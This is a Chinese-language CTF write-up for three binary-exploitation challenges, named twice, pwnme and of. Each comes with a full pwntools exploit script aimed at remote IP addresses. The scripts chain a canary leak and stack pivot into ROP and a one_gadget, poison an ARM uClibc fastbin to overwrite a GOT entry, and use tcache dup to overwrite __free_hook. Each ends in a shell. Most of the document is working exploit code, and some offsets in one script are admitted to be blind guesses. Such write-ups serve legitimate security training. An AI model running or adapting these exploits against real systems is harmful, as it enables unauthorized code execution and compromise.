三道题的题目附件:5space_attachment.zip
twice
带canary的栈溢出,可以通过puts泄露栈溢出并且出题人会修好溢出泄露时对canary最后一个0字节的破坏。第二次输入时即可栈溢出劫持返回地址,但是因为溢出长度受限无法直接ROP。通过劫持到leave上,进行栈迁移,到输入的缓冲区上进而完成ROP。在ROP中,首先通过puts泄露GOT表进而泄露libc,然后将程序控制流返回到_start上进而继续栈溢出即可劫持控制流到one_gadget上,进而完成控制流劫持。
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote("121.36.59.116",9999)
uu64 = lambda data : u64(data.ljust(8, b'\0'))
# leak canary and stack
io.recvuntil(">");io.send("a"*89);io.recv(89)
canary = uu64('\x00'+io.recv(7))
stack = uu64(io.recv(6))
# stack overflow to leak libc and go back _start
io.recvuntil(">")
payload = p64(0)
payload += p64(0x400923) # pop rdi
payload += p64(0x601020) # puts_got
payload += p64(0x4005C0) # puts
payload += p64(0x400630) # _start
payload = payload.ljust(88) # full the buffer
payload += p64(canary) # canary
payload += p64(stack-112) # buffer addr
payload += p64(0x400879) # leave to hijack rsp to buffer addr
io.send(payload)
io.recvline()
libc = uu64(io.recv(6))-0x6f690
log.warn(hex(libc))
# pass the first input
io.recvuntil(">");io.send("a");io.recvuntil(">")
#stack overflow to one gadget
payload = ""
payload = payload.ljust(88) # fill stack with NULL to satisfy one_gadget
payload += p64(canary) # canary
payload += p64(stack-112) # buffer addr
payload += p64(libc+0x4526a) # one_gadget
io.send(payload)
io.interactive()
pwnme
arm的堆溢出,使用的是uclibc,在bss段构造伪堆块并且通过堆溢出将fastbin的fd指向伪堆块,即可将堆块分配到bss段,通过修改bss段的指针数据,即可泄露libc并且修改got表,最终通过修改free的got表为system,然后free掉一个内容是$0的chunk即可getshell。比赛中并没有搭好环境,以下exp为盲测结果,其中的偏移并不知道为何。
from pwn import *
context(log_level='debug',os='linux',arch='arm')
io = remote('121.36.58.215', 1337)
libc = ELF('./libuClibc-1.0.34.so')
sla = lambda delim,data : (io.sendlineafter(delim, data))
show = lambda : (sla(">>> ","1"))
add = lambda len,data : (sla(">>> ","2"),sla("Length:",str(len)),sla("Tag:",data))
edit = lambda index,len,data : (sla(">>> ","3"),sla("Index:",str(index)),sla("Length:",str(len)),sla("Tag:",data))
delete = lambda index : (sla(">>> ","4"),sla("Tag:",str(index)))
# just try and don't know why to -2
fd = 0x2106c - 8 - 2
free_got = 0x00021038
# prepare chunks
add(0x40,'a')
add(0x40,'a')
add(0x40,'a')
add(0x40,'$0\x00')
# use heap overflow to modify the fd of fastbin chunk to bss
delete(1)
edit(0,0x88,'a'*0x44+p32(0x48)+p32(fd))
# get the fake chunk and modify bss data to free_got
# just try and don't know why to 34+2
add(0x40,'a')
add(0x40,'a'*(34+2) + p32(free_got))
# print free_got to leak libc
show();io.recvuntil('0 : ')
leak = u32(io.recv(4))
log.success(hex(leak))
libc.address = leak - libc.symbols['free']
# modify free_got to system
edit(0,4,p32(libc.symbols['system']))
# trigger system($0)
delete(3)
io.interactive()
of
libc2.27,有tcache,原题直接给了c源码,在源码中,堆块的使用、申请与释放存在着cookie的保护,使得虽然在释放后存在悬空指针,但是并无法触发UAF或者double free。但是在远程环境中,cookie似乎没有起到任何作用,所以直接通过基本的堆利用的手段,UAF泄露unsorted bin地址以及tcache dup完成泄露libc基址以及任意地址写,最后通过改写__free_hook,完成控制流劫持进而getshell。
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
io = remote('121.36.74.70', 9999)
libc = ELF('./libc-2.27.so')
sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda index : (sla("choice:","1"),sla("Index: ",str(index)))
edit = lambda index,data : (sla("choice:","2"),sla("Index: ",str(index)),sla("Content: ",str(data)))
show = lambda index : (sla("choice:","3"),sla("Index: ",str(index)))
delete = lambda index : (sla("choice:","4"),sla("Index: ",str(index)))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
# use unsorted bin to leak libc
for i in range(8): add(i)
for i in range(7): delete(i+1)
delete(0);show(0)
io.recvuntil('Content: ')
libc.address = uu64(io.recv(6))-0x3ebca0
# empty tcache
for i in range(9): add(i)
# use tcache dup to aaw
delete(0)
delete(0)
add(0);edit(0,p64(libc.symbols['__free_hook']))
add(1);
add(2);edit(2,p64(libc.symbols['system']))
# use free(3) trigger system($0)
edit(3,'$0\x00');delete(3)
io.interactive()